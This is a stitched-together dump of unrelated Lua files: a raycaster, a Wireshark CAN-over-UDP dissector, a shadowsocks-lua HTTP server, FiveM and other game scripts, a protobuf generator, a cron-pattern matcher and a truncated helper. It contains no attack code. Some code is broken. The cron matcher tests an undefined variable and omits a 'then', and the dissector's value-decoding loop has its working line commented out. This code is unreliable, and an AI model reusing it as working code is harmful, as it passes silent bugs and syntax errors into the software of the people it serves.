local pixelwidth = screenW/(RAYNUMBER*RAYPRECISION)
local height = screenH*80/d
local x, y = pixelwidth*(i-1), (screenH - height) / 2
love.graphics.setColor(self:calculeColor(d))
love.graphics.polygon('fill',
x, y,
x+pixelwidth, y,
x+pixelwidth, y+height,
x, y+height
)
love.graphics.setColor(1, 1, 1, 1)
end
return Line
|
-- @brief CAN-over-UDP Protocol dissector plugin
-- @author
-- @date 2018.07.12
-- create a new dissector
local NAME = "CANoU"
local PORT = 3248
local CANoU = Proto(NAME, "CAN-over-UDP Protocol")
local canid_set = {
[0x37] = "Acceleration via ICE",
[0xb4] = "Current speed of the automobile",
[0x1c4] = "ICE RPM",
[0x24] = "ICE Torque",
[0x224] = "Brake pedal position sensor",
[0x25] = "Steer wheel angle",
[0x230] = "Brake sensor",
[0x245] = "Gas pedal position",
[0x283] = "Pre-collision action",
[0x7df] = "Universal diagnostic message"
}
local DBC_DATABASE = {
[0x0037] = {['bytelen']=7, ['bit_start']= 0, ['bit_num']=40, ['scale']=1.0, ['offset']=0.0},
[0x00b4] = {['bytelen']=8, ['bit_start']=47, ['bit_num']=16, ['scale']=0.01, ['offset']=0.0},
[0x0104] = {['bytelen']=8, ['bit_start']=15, ['bit_num']=16, ['scale']=1.0, ['offset']=-400},
[0x0024] = {['bytelen']=8, ['bit_start']=15, ['bit_num']=16, ['scale']=1.0, ['offset']=0.0},
[0x0224] = {['bytelen']=8, ['bit_start']=47, ['bit_num']=16, ['scale']=0.01, ['offset']=0.0},
[0x0025] = {['bytelen']=8, ['bit_start']=3, ['bit_num']=12, ['scale']=1.5, ['offset']=0.0},
[0x0230] = {['bytelen']=7, ['bit_start']=31, ['bit_num']=8, ['scale']=1.0, ['offset']=0.0},
[0x0245] = {['bytelen']=5, ['bit_start']=15, ['bit_num']=16, ['scale']=0.0062, ['offset']=0.0},
[0x0283] = {['bytelen']=7, ['bit_start']=16, ['bit_num']=24, ['scale']=1.0, ['offset']=0.0},
[0x07df] = {['bytelen']=8, ['bit_start']=15, ['bit_num']=16, ['scale']=1.0, ['offset']=0.0}
}
local f_canid = ProtoField.uint32("canou.canid", "CAN Message Name", base.HEX, canid_set)
local f_canlen = ProtoField.uint8("canou.msglen", "Length of Byte", base.DEC)
local f_canval = ProtoField.uint32("canou.msgval", "Value", base.DEC)
local f_canmsg = ProtoField.string("canou.text", "Addi. Info")
CANoU.fields = { f_canid, f_canlen, f_canval, f_canmsg }
-- dissect packet
function CANoU.dissector(buf, pkt, tree)
local subtree = tree:add(CANoU, buf(0,24))
subtree:add_le(f_canid, buf(8,4))
subtree:add(f_canlen, buf(15,1))
-- subtree:add(f_canval, buf(16,8))
-- extract CAN ID
local canid = buf(8,4):le_uint()
local msg_string = canid_set[canid]
if msg_string == nil then
subtree:add(f_canmsg, "unknown message type")
else
subtree:add(f_canmsg, msg_string)
end
-- decode the value carried in CAN message
local value = 0
local decoder = DBC_DATABASE[canid]
if decoder == nil
then
value = canid
else
local value_byte_num = (decoder['bit_start'] + decoder['bit_num']) / 8
local bit_shift = 8 - (decoder['bit_start'] + decoder['bit_num']) % 8
for i=0,value_byte_num do
local newbyte = buf(16+i,1):uint()
-- to remove prefix for first byte
--[[
if i == 0
then
local bitmask = 2 ^ (8 - decoder['bit_start'] % 8)
newbyte = newbyte & bitmask
end
value = (value * 256) + newbyte
--]]
end
value = value / (2^bit_shift)
value = value * decoder['scale']+decoder['offset']
end
subtree:add(f_canval, value)
end
-- register this dissector
local udp_encap_table = DissectorTable.get("udp.port")
udp_encap_table:add(PORT, CANoU)
|
--
-- ZyWebD express edition for shadowsocks-lua
-- (c) 2015 zyxwvu <imzyxwvu@icloud.com>
--
-- NOTE: features not included:
-- FastCGI backend, General Server, SSL Server, HandleRequest, and built-in MIMES
--
local uv = require "xuv"
local crunning, cresume, cyield = coroutine.running, coroutine.resume, coroutine.yield
local schar, sformat, tconcat, mmin = string.char, string.format, table.concat, math.min
local HTTP = { Reader = {}, Response = {}, Backend = uv, Timeout = 10000 }
local function SafeResume(co, ...)
local s, err = cresume(co, ...)
if not s then print(debug.traceback(co, err)) end
end
HTTP.ServerVer = "ZyWebD/15.02; " .. _VERSION
HTTP.DefaultDoc = { "index.html" }
HTTP.PathSep = package.config:sub(1, 1)
function HTTP.UrlDecode(is)
return is:gsub("%%([A-Fa-f0-9][A-Fa-f0-9])", function(m) return schar(tonumber(m, 16)) end)
end
HTTP.Decoders = {}
HTTP.Decoders["HTTP Request"] = function(buffer)
local l, r = buffer:find("\r?\n\r?\n")
if l and r then
assert(l - 1 > 1, "empty request")
local head = buffer:sub(1, l - 1)
local result, firstLine = {}, true
for l in head:gmatch("([^\r\n]+)") do
if firstLine then
local verb, resource = l:match("^([A-Z]+) ([^%s]+) HTTP/1%.[01]$")
assert(verb and resource, "bad request")
result.method, result.resource_orig = verb, resource
local resource2, querystr = resource:match("^([^%?]+)%??(.*)")
result.headers = {}
result.resource, result.query = HTTP.UrlDecode(resource2), querystr
firstLine = false
else
local k, v = l:match("^([A-Za-z0-9%-]+):%s?(.+)$")
assert(k and v, "bad request")
result.headers[k:lower()] = v
end
end
return result, buffer:sub(r + 1, -1)
elseif #buffer > 0x10000 then -- impossible for a header to be larger than 64K
error "header too long" -- notify the reader to stop reading from the stream
end
end
function HTTP.Decoders.Line(buffer)
local l, r = buffer:find("\r?\n")
if l and r then
if r < #buffer then -- in case there's something left
return buffer:sub(1, l - 1), buffer:sub(r + 1, -1)
else return buffer:sub(1, l - 1) end
end
end
HTTP.SafeResume = SafeResume
HTTP.Reader_MT = { __index = HTTP.Reader }
HTTP.Response_MT = { __index = HTTP.Response }
function HTTP.Reader:Push(str, err)
if not str then
self.stopped = true
if self.decoder then
SafeResume(self.readco, nil, err or "stopped")
end
if self.watchdog then uv.close(self.watchdog) end
elseif self.buffer then
self.buffer = self.buffer .. str
if self.decoder then
local s, result, rest = pcall(self.decoder, self.buffer)
if not s then
SafeResume(self.readco, nil, result)
elseif result then
if rest and #rest > 0 then
self.buffer = rest
else
self.buffer = nil
end
SafeResume(self.readco, result)
end
end
else
if self.decoder then
local s, result, rest = pcall(self.decoder, str)
if not s then
self.buffer = str
SafeResume(self.readco, nil, result)
elseif result then
if rest and #rest > 0 then self.buffer = rest end
SafeResume(self.readco, result)
else self.buffer = str end
else self.buffer = str end
end
end
function HTTP.Reader:Decode(decoder_name)
assert(not self.decoder, "already reading")
local decoder = HTTP.Decoders[decoder_name] or decoder_name
if self.buffer then
local s, result, rest = pcall(decoder, self.buffer)
if not s then
return nil, result
elseif result then
if rest and #rest > 0 then
self.buffer = rest
else
self.buffer = nil
end
return result
end
end
if self.stopped then return nil, "stopped" end
self.readco, self.decoder = crunning(), decoder
if self.watchdog then
uv.timer_start(self.watchdog, function()
uv.timer_stop(self.watchdog)
SafeResume(self.readco, nil, "timeout")
end, self.decode_timeout)
local result, err = cyield()
self.readco, self.decoder = nil, nil
uv.timer_stop(self.watchdog)
return result, err
else
local result, err = cyield()
self.readco, self.decoder = nil, nil
return result, err
end
end
function HTTP.Reader:Read(len)
local readSome = function(buffer)
if #buffer <= len then return buffer elseif #buffer > len then
return buffer:sub(1, len), buffer:sub(len + 1, -1)
end
end
local cache = {}
while len > 0 do
local block, err = self:Decode(readSome)
if block then
cache[#cache + 1] = block
len = len - #block
else
cache[#cache + 1] = self.buffer
self.buffer = tconcat(cache)
return nil, err
end
end
return tconcat(cache)
end
function HTTP.Reader:Peek()
assert(not self.decoder, "already reading")
if self.buffer then
local buffer = self.buffer
self.buffer = nil
return self.buffer
end
if self.stopped then return nil, "stopped" end
self.readco, self.decoder = crunning(), function(buffer)
return buffer
end
local result, err = cyield()
self.readco, self.decoder = nil, nil
return result, err
end
function HTTP.NewReader(timeout)
if timeout then assert(timeout >= 100, "too short timeout") end
local reader = { decode_timeout = timeout }
if reader.decode_timeout then reader.watchdog = uv.new_timer() end
return setmetatable(reader, HTTP.Reader_MT)
end
local statuscodes = {
[100] = 'Continue', [101] = 'Switching Protocols',
[200] = 'OK', [201] = 'Created', [202] = 'Accepted',
[203] = 'Non-Authoritative Information',
[204] = 'No Content', [205] = 'Reset Content', [206] = 'Partial Content',
[300] = 'Multiple Choices', [301] = 'Moved Permanently', [302] = 'Found',
[303] = 'See Other', [304] = 'Not Modified',
[400] = 'Bad Request', [401] = 'Unauthorized',
[403] = 'Forbidden', [404] = 'Not Found',
[405] = 'Method Not Allowed', [406] = 'Not Acceptable',
[408] = 'Request Time-out', [409] = 'Conflict', [410] = 'Gone',
[411] = 'Length Required', [412] = 'Precondition Failed',
[413] = 'Request Entity Too Large', [415] = 'Unsupported Media Type',
[416] = 'Requested Range Not Satisfiable', [417] = 'Expectation Failed',
[418] = 'I\'m a teapot', -- RFC 2324
[500] = 'Internal Server Error', [501] = 'Not Implemented',
[502] = 'Bad Gateway', [503] = 'Service Unavailable',
}
function HTTP.Response:RawWrite(chunk)
if self.disabled then return nil, "disabled" end
local s, err = self.coreWrite(self.stream, chunk, function(err)
HTTP.SafeResume(self.thread, err)
end)
if s then
if err ~= "done nothing" then -- tweak for SSL
err = cyield()
if err then return nil, err end
end
self.tx = self.tx + #chunk
return self
else return nil, err end
end
function HTTP.Response:Disable()
if not self.disabled then
self.disabled = true
if self.on_close then self.on_close() end
end
end
function HTTP.Response:Handled()
return self.headerSent or self.disabled
end
function HTTP.Response:Close()
if not self.disabled then
self.coreClose(self.stream)
self.disabled = true
end
end
function HTTP.Response:WriteHeader(code, headers)
assert(not self.headerSent, "header already sent")
assert(statuscodes[code], "bad status code")
local head = {
("HTTP/1.1 %d %s"):format(code, statuscodes[code]),
"Server: " .. HTTP.ServerVer }
for k, v in pairs(headers) do
if type(v) == "table" then
for i, vv in ipairs(v) do head[#head + 1] = k .. ": " .. vv end
else head[#head + 1] = k .. ": " .. v end
end
head[#head + 1] = "\r\n"
assert(self:RawWrite(tconcat(head, "\r\n")))
self.headerSent = code
return self
end
function HTTP.Response:DisplayError(state, content)
if not self:Handled() then
self:WriteHeader(state, { ["Content-Length"] = #content, ["Content-Type"] = "text/html" })
self:RawWrite(content)
end
self:Close()
end
function HTTP.Response:RedirectTo(resource)
return self:WriteHeader(302, { ["Content-Length"] = 0, ["Location"] = resource })
end
function HTTP.ServiceLoop(sync)
while true do
local request = sync.reader:Decode "HTTP Request"
if request then
request.peername, request.ssl_port = sync.peername, sync.ssl_port
request.reader = sync.reader
local res = setmetatable({
coreWrite = sync.write, coreClose = sync.close, thread = sync.thread,
stream = sync.stream, tx = 0 }, HTTP.Response_MT)
sync.response = res
local s, err = pcall(sync.callback, request, res)
if res.disabled then return end -- We can't do anything...
if s then
if not res.headerSent then
local result = "Request not caught by any handler."
res:WriteHeader(500, { ["Content-Type"] = "text/plain", ["Content-Length"] = #result })
res:RawWrite(result)
end
else
if res.headerSent then return res:Close() else
res:DisplayError(500, ([[<!DOCTYPE html><html>
<head><title>HTTP Error 500</title></head><body><h1>500 Internal Server Error</h1><p>%s Error: <strong>%s</strong></p>
<p style="color:#83B;">* This response is generated by %s</p></body></html>]]):format(_VERSION, err, HTTP.ServerVer))
end
end
if request.headers.connection then
request.headers.connection = request.headers.connection:lower()
if request.headers.connection ~= "keep-alive" then return res:Close() end
else return res:Close() end
else sync.close(sync.stream) break end
end
end
function HTTP.HandleStream(self, rest, callback)
local reader = HTTP.NewReader(HTTP.Timeout)
if rest then reader:Push(rest) end
local sync = { stream = self, reader = reader, callback = callback }
sync.peername = self:getpeername()
if not sync.peername then self:close(); return end
function self.on_close(note)
reader:Push(nil, note)
if sync.response then sync.response:Disable() end
end
sync.write, sync.close = self.write, self.close
function self.on_data(chunk) reader:Push(chunk) end
self:read_start()
sync.thread = coroutine.create(HTTP.ServiceLoop)
HTTP.SafeResume(sync.thread, sync)
end
return HTTP
|
--------------------------------
-- @module ScaleBy
-- @extend ScaleTo
-- @parent_module cc
---@class cc.ScaleBy:cc.ScaleTo
local ScaleBy = {}
cc.ScaleBy = ScaleBy
--------------------------------
--- Creates the action with and X factor and a Y factor.<br>
-- param duration Duration time, in seconds.<br>
-- param sx Scale factor of x.<br>
-- param sy Scale factor of y.<br>
-- return An autoreleased ScaleBy object.
---@param duration number
---@param sx number
---@param sy number
---@param sz number
---@return cc.ScaleBy
---@overload fun(self:cc.ScaleBy, duration:number, sx:number, sy:number):cc.ScaleBy
---@overload fun(self:cc.ScaleBy, duration:number, s:number):cc.ScaleBy
function ScaleBy:create(duration, sx, sy, sz)
end
--------------------------------
---
---@param target cc.Node
---@return cc.ScaleBy
function ScaleBy:startWithTarget(target)
end
--------------------------------
---
---@return cc.ScaleBy
function ScaleBy:clone()
end
--------------------------------
---
---@return cc.ScaleBy
function ScaleBy:reverse()
end
--------------------------------
---
---@return cc.ScaleBy
function ScaleBy:ScaleBy()
end
return nil
|
local currentMap = nil
local spawnPoint = nil
mapData = {}
AddEventHandler('getMapDirectives', function(add)
-- add a custom data
add("koth", function(state, arg1, arg2)
-- do something with the custom data
mapData.koth = arg1
state.add("koth", {arg1 = arg1})
end, function(state, arg)
-- cleaning up whatever the map did above
for i,data in ipairs(mapData) do
if state["koth"].arg1 == data.arg1 then
mapData.koth = nil
end
end
end)
Wait(1000)
LoadMapData()
end)
AddEventHandler('getMapDirectives', function(add)
-- add a custom data
add("teams", function(state, arg1, arg2)
-- do something with the custom data
mapData.teams = arg1
state.add("teams", {arg1 = arg1})
end, function(state, arg)
-- cleaning up whatever the map did above
for i,data in ipairs(mapData) do
if state["teams"].arg1 == data.arg1 then
mapData.teams = nil
end
end
end)
end)
AddEventHandler('getMapDirectives', function(add)
-- add a custom data
add("shops", function(state, arg1, arg2)
-- do something with the custom data
mapData.shops = arg1
ShopCoords = arg1
state.add("shops", {arg1 = arg1})
end, function(state, arg)
-- cleaning up whatever the map did above
for i,data in ipairs(mapData) do
if state["shops"].arg1 == data.arg1 then
mapData.shops = nil
end
end
end)
end)
AddEventHandler('getMapDirectives', function(add)
-- add a custom data
add("spawns", function(state, arg1, arg2)
-- do something with the custom data
mapData.spawns = arg1
state.add("spawns", {arg1 = arg1})
end, function(state, arg)
-- cleaning up whatever the map did above
for i,data in ipairs(mapData) do
if state["spawns"].arg1 == data.arg1 then
mapData.spawns = nil
end
end
end)
end)
AddEventHandler('getMapDirectives', function(add)
-- add a custom data
add("vehicleSpawns", function(state, arg1, arg2)
-- do something with the custom data
mapData.vehicleSpawns = arg1
state.add("vehicleSpawns", {arg1 = arg1})
end, function(state, arg)
-- cleaning up whatever the map did above
for i,data in ipairs(mapData) do
if state["vehicleSpawns"].arg1 == data.arg1 then
mapData.vehicleSpawns = nil
end
end
end)
end)
AddEventHandler('getMapDirectives', function(add)
-- add a custom data
add("zoneconfig", function(state, arg1, arg2)
-- do something with the custom data
mapData.zoneconfig = arg1
zoneconfig = zoneconfig
state.add("zoneconfig", {arg1 = arg1})
end, function(state, arg)
-- cleaning up whatever the map did above
for i,data in ipairs(mapData) do
if state["zoneconfig"].arg1 == data.arg1 then
mapData.zoneconfig = nil
end
end
end)
end)
function LoadMapData()
repeat
Wait(500)
until (mapData.koth and mapData.spawns and Teaminfo.id ~= 0)
TriggerServerEvent("whatMapAreWeOn")
setNewSpawnPoints()
TriggerEvent("changeMap", {x = mapData.koth[1], y = mapData.koth[2], z = mapData.koth[3], r = mapData.koth[4]} )
end
function setNewSpawnPoints(spawnpoints)
exports.spawnmanager:setAutoSpawn(false)
local spToSet = mapData.spawns[Teaminfo.id]
exports.spawnmanager:removeSpawnPoint(spawnPoint)
spawnPoint = exports.spawnmanager:addSpawnPoint({ -- TODO: Multiple spawn points for each team.
x = spToSet[1],
y = spToSet[2],
z = spToSet[3],
heading = 0,
model = "s_m_y_marine_01" -- TODO: When skin shop gets implemented make sure player spawns with his/her skin
})
exports.spawnmanager:setAutoSpawn(true)
exports.spawnmanager:forceRespawn(true)
end
|
------------------------------------------------
-- Copyright © 2013-2020 Hugula: Arpg game Engine
--
-- author pu
------------------------------------------------
local require = require
local io = io
local serpent = require("serpent")
-- local pb = require "pb"
-- local protoc = require "protoc"
-- local p = protoc.new()
-- p:loadfile("msgid.proto")
local GetFileName = CS.System.IO.Path.GetFileName
local outfilepath = CS.UnityEngine.Application.dataPath .. "/Lua/net/protoc_init.lua"
local read_dir = CS.UnityEngine.Application.dataPath .. "/Lua/proto"
local fileMys = CS.System.IO.Directory.GetFiles (read_dir);
local proto_files = {}
for i =0,fileMys.Length-1 do
local file = GetFileName(fileMys[i])
-- print(file)
if string.find(file, "%.proto$") then
table.insert(proto_files, file)
end
end
-- print(serpent.block(proto_files))
-- getLuaFileInfo:close()
-- print(outfilepath)
local file, err = io.open(outfilepath, "w+")
if err then print(err) end
file:write(
[[
-----------------this is generate by hugula lua protobuf tool -------------------------
-------------------------do not change--------------------------------------
local pb = require("pb")
local protoc = require "protoc"
local p = protoc.new()
]]
)
for k,v in ipairs(proto_files) do
file:write(string.format("p:loadfile(\"%s\")\n",v))
end
print("-----------generate sueccess (Lua/net/protoc_init.lua)!----------------------")
|
-- CONFIG --
-- Allows you to set if time should be frozen and what time
local freezeTime = false
local hours = 1
local minutes = 0
-- Set if first person should be forced
local forceFirstPerson = false
-- CODE --
Citizen.CreateThread(function()
while true do
Citizen.Wait(0)
_,pw = GetCurrentPedWeapon(PlayerPedId(), true)
if GetWeaponDamageType(pw) ~= 2 then
DisableControlAction(0, 140, true)
DisableControlAction(0, 142, true)
end
SetFlashLightFadeDistance(30.0)
end
end)
Citizen.CreateThread(function()
SetBlackout(true)
while true do
Wait(1)
SetPlayerWantedLevel(PlayerId(), 0, false)
SetPlayerWantedLevelNow(PlayerId(), false)
end
end)
local leapYear = 1
Citizen.CreateThread( function()
RegisterNetEvent("tads:timeanddatesync")
AddEventHandler("tads:timeanddatesync", function(time,date)
NetworkOverrideClockTime(time.hour,time.minute,0)
SetClockDate(date.day,date.month,date.year)
end)
TriggerServerEvent("tads:newplayer")
end)
|
function at()
end
function cron()
end
local function split_string(str, delimiter)
if type(str) ~= 'string' or str == '' or type(delimiter) ~= 'string' or delimiter == '' then
return nil
end
local string_list = {}
for m in (str..delimiter).gmatch('(.-)'..delimiter) do
if m and m ~= '' then
local tmp = string.gsub(m, '^%s*(.-)%s*$', '%1')
if tmp ~= '' then
table.insert(string_list, tmp)
end
end
end
return string_list
end
local function format_pattern(pattern)
local new_pattern = {}
if type(pattern) == 'string' then
local string_list = split_string(pattern, ' ')
if #string_list == 5 then
new_pattern = {
minute = string_list[1],
hour = string_list[2],
day_of_month = string_list[3],
month = string_list[4],
day_of_week = string_list[5],
}
elseif #string_list == 6 then
new_pattern = {
minute = string_list[1],
hour = string_list[2],
day_of_month = string_list[3],
month = string_list[4],
day_of_week = string_list[5],
year = string_list[6],
}
elseif #string_list == 7 then
new_pattern = {
second = string_list[1],
minute = string_list[2],
hour = string_list[3],
day_of_month = string_list[4],
month = string_list[5],
day_of_week = string_list[6],
year = string_list[7],
}
else
return nil
end
elseif type(pattern) == 'table' then
new_pattern = pattern
else
return nil
end
if new_pattern.hour_minute_second then
new_pattern.hour = ''
new_pattern.minute = ''
new_pattern.second = ''
end
return new_pattern
end
local function format_case(case)
local new_case = case
if type(case) == 'number' then
if case >= 0 then
new_case = {
second = tonumber(os.date('%S', case)),
minute = tonumber(os.date('%M', case)),
hour = tonumber(os.date('%H', case)),
day = tonumber(os.date('%d', case)),
month = tonumber(os.date('%m', case)),
year = tonumber(os.date('%Y', case)),
}
end
elseif type(case) == 'string' then
-- TODO
elseif type(case) == 'table' then
new_case = case
end
new_case.day_of_week = tonumber(os.date('*t', os.time({ year = new_case.year, month = new_case.month, day = new_case.day_of_month })).wday) - 1
-- TODO
new_case.day_of_trade = ''
-- new_case.day_of_trade = '0'
-- new_case.day_of_trade = '1'
return new_case
end
local function match_second(pattern, case)
if pattern.second == '' or pattern.second == '*' or pattern.second == '?' then
return true
end
-- TODO
return false
end
local function match_minute(pattern, case)
if pattern.minute == '' or pattern.minute == '*' or pattern.minute == '?' then
return true
end
-- TODO
return false
end
local function match_hour(pattern, case)
if pattern.hour == '' or pattern.hour == '*' or pattern.hour == '?' then
return true
end
-- TODO
return false
end
local function match_day_of_month(pattern, case)
if pattern.day_of_month == '' or pattern.day_of_month == '*' or pattern.day_of_month == '?' then
return true
elseif string.match(pattern.day_of_month, '^[0-9]+$') then
if tonumber(pattern.day_of_month) == case.day_of_month then
return true
end
elseif string.match(pattern.day_of_month, '^([0-9]+),([0-9]+)[^/]*$') then
local pattern_days = split_string(pattern.day_of_month, ',')
for i_pattern_day, v_pattern_day in ipairs(pattern_days) do
if tonumber(v_pattern_day) == case.day_of_month then
return true
end
end
elseif string.match(pattern.day_of_month, '^([0-9]+)%-([0-9]+)$') then
local pattern_days = split_string(pattern.day_of_month, '-')
if tonumber(pattern_days[1]) <= case.day_of_month and case.day_of_month <= tonumber(pattern_days[2]) then
return true
end
elseif string.match(pattern.day_of_month, '^([0-9]+)%-([0-9]+)/([0-9]+)$') then
local m = {}
for i in pattern.day_of_month:gmatch('[0-9]+') do
table.insert(m, i)
end
local start_time, end_time, step_time = tonumber(m[1]), tonumber(m[2]), tonumber(m[3])
if start_time <= case.day_of_month and case.day_of_month <= end_time and math.fmod(case.day_of_month - start_time, step_time) == 0 then
return true
end
else
-- TODO
end
return false
end
local function match_month(pattern, case)
if pattern.month == '' or pattern.month == '*' or pattern.month == '?' then
return true
elseif string.match(pattern.month, '^[0-9][012]*$') then
if tonumber(pattern.month) == case.month then
return true
end
elseif string.match(pattern.month, '^([0-9][012]*),([0-9][012]*)[^/]*$') then
local pattern_months = split_string(pattern.month, ',')
for i_pattern_month, v_pattern_month in ipairs(pattern_months) do
if tonumber(v_pattern_month) == case.month then
return true
end
end
elseif string.match(pattern.month, '^([0-9][012]*)%-([0-9][012]*)$') then
local pattern_months = split_string(pattern.month, '-')
if tonumber(pattern_months[1]) <= case.month and case.month <= tonumber(pattern_months[2]) then
return true
end
elseif string.match(pattern.month, '^([0-9][012]*)%-([0-9][012]*)/([0-9]+)$') then
local m = {}
for i in pattern.month:gmatch('[0-9]+') do
table.insert(m, i)
end
local start_time, end_time, step_time = tonumber(m[1]), tonumber(m[2]), tonumber(m[3])
if start_time <= case.month and case.month <= end_time and math.fmod(case.month - start_time, step_time) == 0 then
return true
end
else
-- TODO
end
return false
end
local function match_day_of_week(pattern, case)
if pattern.day_of_week == '' or pattern.day_of_week == '*' or pattern.day_of_week == '?' then
return true
elseif string.match(pattern.day_of_week, '^[0-6]$') then
if tonumber(pattern.day_of_week) == case.day_of_week then
return true
end
elseif string.match(pattern.day_of_week, '^[0-6],[0-6][^/]*$') then
local pattern_days = split_string(pattern.day_of_week, ',')
for i_pattern_day, v_pattern_day in ipairs(pattern_days) do
if tonumber(v_pattern_day) == tonumber(case.day_of_week) then
return true
end
end
elseif string.match(pattern.day_of_week, '[0-6]%-[0-6]$') then
local pattern_days = split_string(pattern.day_of_week, '-')
if tonumber(pattern_days[1]) <= case.day_of_week and case.day_of_week <= tonumber(pattern_days[2]) then
return true
end
elseif string.match(pattern.day_of_week, '[0-6]%-[0-6]/[1-6]$') then
local m = {}
for i in pattern.day_of_week:gmatch('[0-6]+') do
table.insert(m, i)
end
local start_time, end_time, step_time = tonumber(m[1]), tonumber(m[2]), tonumber(m[3])
if start_time <= case.day_of_week and case.day_of_week <= end_time and math.fmod(case.day_of_week - start_time, step_time) == 0 then
return true
end
else
-- TODO
end
return false
end
local function match_year(pattern, case)
if pattern.year == '' or pattern.year == '*' or pattern.year == '?' then
return true
elseif string.match(pattern.year, '^[0-9]+$') then
if tonumber(pattern.year) == case.year then
return true
end
elseif string.match(pattern.year, '^([0-9]+),([0-9]+)[^/]*$') then
local pattern_years = split_string(pattern.year, ',')
for i_pattern_year, v_pattern_year in ipairs(pattern_years) do
if tonumber(v_pattern_year) == case.year then
return true
end
end
elseif string.match(pattern.year, '^([0-9]+)%-([0-9]+)$') then
local pattern_years = split_string(pattern.year, '-')
if tonumber(pattern_years[1]) <= case.year and case.year <= tonumber(pattern_years[2]) then
return true
end
elseif string.match(pattern.year, '^([0-9]+)%-([0-9]+)/([0-9]+)$') then
local m = {}
for i in pattern.year:gmatch('[0-9]+') do
table.insert(m, i)
end
local start_time, end_time, step_time = tonumber(m[1]), tonumber(m[2]), tonumber(m[3])
if start_time <= case.year and case.year <= end_time and math.fmod(case.year - start_time, step_time) == 0 then
return true
end
else
-- TODO
end
return false
end
local function match_hour_minute_second(pattern, case)
if pattern.hour_minute_second == '' or pattern.hour_minute_second == '*' or pattern.hour_minute_second == '?' then
return true
end
local current_time = case.hour*3600 + case.minute*60 + case.second
for i_pattern_hour_minute_second, v_pattern_hour_minute_second in ipairs(pattern.hour_minute_second) do
if string.match(v_pattern_hour_minute_second, '^[012][0-9]:[0-5][0-9]:[0-5][0-9]%-[012][0-9]:[0-5][0-9]:[0-5][0-9]$') then
local m = {}
for i in v_pattern_hour_minute_second:gmatch('[0-9]+') do
table.insert(m, tonumber(i))
end
local start_time, end_time = m[1]*3600 + m[2]*60 + m[3], m[4]*3600 + m[5]*60 + m[6]
if start_time <= current_time and current_time <= end_time then
return true
end
end
end
return false
end
local function match_day_of_trade(pattern, case)
if pattern.day_of_trade == '' or pattern.day_of_trade == '*' or pattern.day_of_trade == '?' then
return true
elseif pattern.day_of_trade == case.day_of_trade then
return true
end
return false
end
function match_std(pattern, case)
local pattern = format_pattern(pattern)
if not patterns or not case then
return false
end
if match_second(pattern, case)
and match_minute(pattern, case)
and match_hour(pattern, case)
and match_hour_minute_second(pattern, case)
and match_day_of_month(pattern, case)
and match_month(pattern, case)
and match_day_of_week(pattern, case)
and match_year(pattern, case)
and match_day_of_trade(pattern, case)
return true
end
return false
end
-- patterns = {
-- '* * * * *',
-- '* * * * * *',
-- '* * * * * * *',
-- {
-- second = '*',
-- minute = '*',
-- hour = '*',
-- day_of_month = '*',
-- month = '*',
-- day_of_week = '*',
-- year = '*',
-- },
-- {
-- hour_minute_second = { '00:00:00-00:00:00', '00:00:00-00:00:00', ... },
-- day_of_trade = '*' or '0' or '1',
-- },
-- ...
-- }
function match_ext(patterns, case)
local case = format_case(case)
for i_pattern, v_pattern in ipairs(patterns) do
if match_std(v_pattern, case) then
return true
end
end
return false
end
|
config = {
var0 = true,
var1 = true
}
|
class 'shell'
local AI_IDLING = 0
local AI_RUNNING = 1
--self.npc_obj:setSequence({0})
--self.npc_obj:setSequence({0,1,2,3})
function shell:initProps()
-- Currents
self.cur_mode=AI_IDLING
self.npc_obj.motionSpeed = 0
self.npc_obj.not_movable = self.wasNotMovable
if(self.npc_obj.spawnedGenType == BaseNPC.SPAWN_APPEAR) then
self.npc_obj.speedX = 0
self.npc_obj.speedY = 0
end
self.npc_obj:setSequence({0})
if(self.npc_obj.spawnedGenType == BaseNPC.SPAWN_PROJECTILE) then
if self.npc_obj.spawnedGenDirection == BaseNPC.SPAWN_LEFT then self.npc_obj.direction = -1; self:setRunning()
elseif self.npc_obj.spawnedGenDirection == BaseNPC.SPAWN_RIGHT then self.npc_obj.direction = 1; self:setRunning()
end
end
end
function shell:__init(npc_obj)
self.npc_obj = npc_obj
self.wasNotMovable = npc_obj.not_movable
self.contacts = npc_obj:installContactDetector()
self:initProps()
end
function shell:onActivated()
self:initProps()
end
function shell:onLoop(tickTime)
if(self.cur_mode == AI_RUNNING)then
if(self.contacts:detected())then
local Blocks= self.contacts:getBlocks()
for K,Blk in pairs(Blocks) do
if(Blk.collide_npc == PhysBase.COLLISION_ANY and (self.npc_obj.blockedAtLeft or self.npc_obj.blockedAtRight) )then
if (Blk.top+2 < self.npc_obj.bottom) and (Blk.bottom-2 > self.npc_obj.top) then
Blk:hit(2)
end
end
end
local NPCs= self.contacts:getNPCs()
for K,Npc in pairs(NPCs) do
if(npc_isShell(Npc.id))then
if(Npc.controller.cur_mode == AI_RUNNING)then
self.npc_obj:kill(NPC_DAMAGE_BY_KICK)
end
end
if(
not npc_isBloeGoopa(Npc.id)
and not npc_isCoin(Npc.id)
and not npc_isRadish(Npc.id)
and not npc_isLife(Npc.id)
)then
Npc:kill(NPC_DAMAGE_BY_KICK)
end
end
end
end
end
function shell:onHarm(harmEvent)
if( (harmEvent.reason_code ~= BaseNPC.DAMAGE_LAVABURN) and (harmEvent.reason_code ~= BaseNPC.DAMAGE_BY_KICK) )then
harmEvent.cancel=true
harmEvent.damage=0
if(harmEvent.killed_by == NpcHarmEvent.player)then
self.npc_obj.direction = harmEvent.killer_p.direction
end
self:toggleState()
end
end
function shell:onKill(killEvent)
if( (killEvent.reason_code ~= BaseNPC.DAMAGE_LAVABURN) and (killEvent.reason_code ~= BaseNPC.DAMAGE_BY_KICK) )then
killEvent.cancel=true
if(killEvent.killed_by == NpcKillEvent.player)then
self.npc_obj.direction = killEvent.killer_p.direction
end
self:toggleState()
end
end
function shell:setRunning()
self.cur_mode=AI_RUNNING
self.npc_obj.motionSpeed = 7.1
self.npc_obj.frameDelay = 32
self.npc_obj.not_movable = false
self.npc_obj:setSequence({0,1,2,3})
end
function shell:setIdling()
self.cur_mode=AI_IDLING
self.npc_obj.motionSpeed = 0
self.npc_obj.speedX = 0
self.npc_obj.not_movable = self.wasNotMovable
self.npc_obj:setSequence({0})
end
function shell:toggleState()
if(self.cur_mode == AI_IDLING)then
self:setRunning()
Audio.playSoundByRole(SoundRoles.PlayerKick)
else
self:setIdling()
end
end
return shell
|
function HMLError( s, displayTime )
displayTime = displayTime or 7
if( CLIENT ) then
GAMEMODE:AddNotify("[EE] " .. s, NOTIFY_ERROR, displayTime)
if( HUD_System.NextCheckTime ) then HUD_System.NextCheckTime = HUD_System.NextCheckTime + 3 end
end
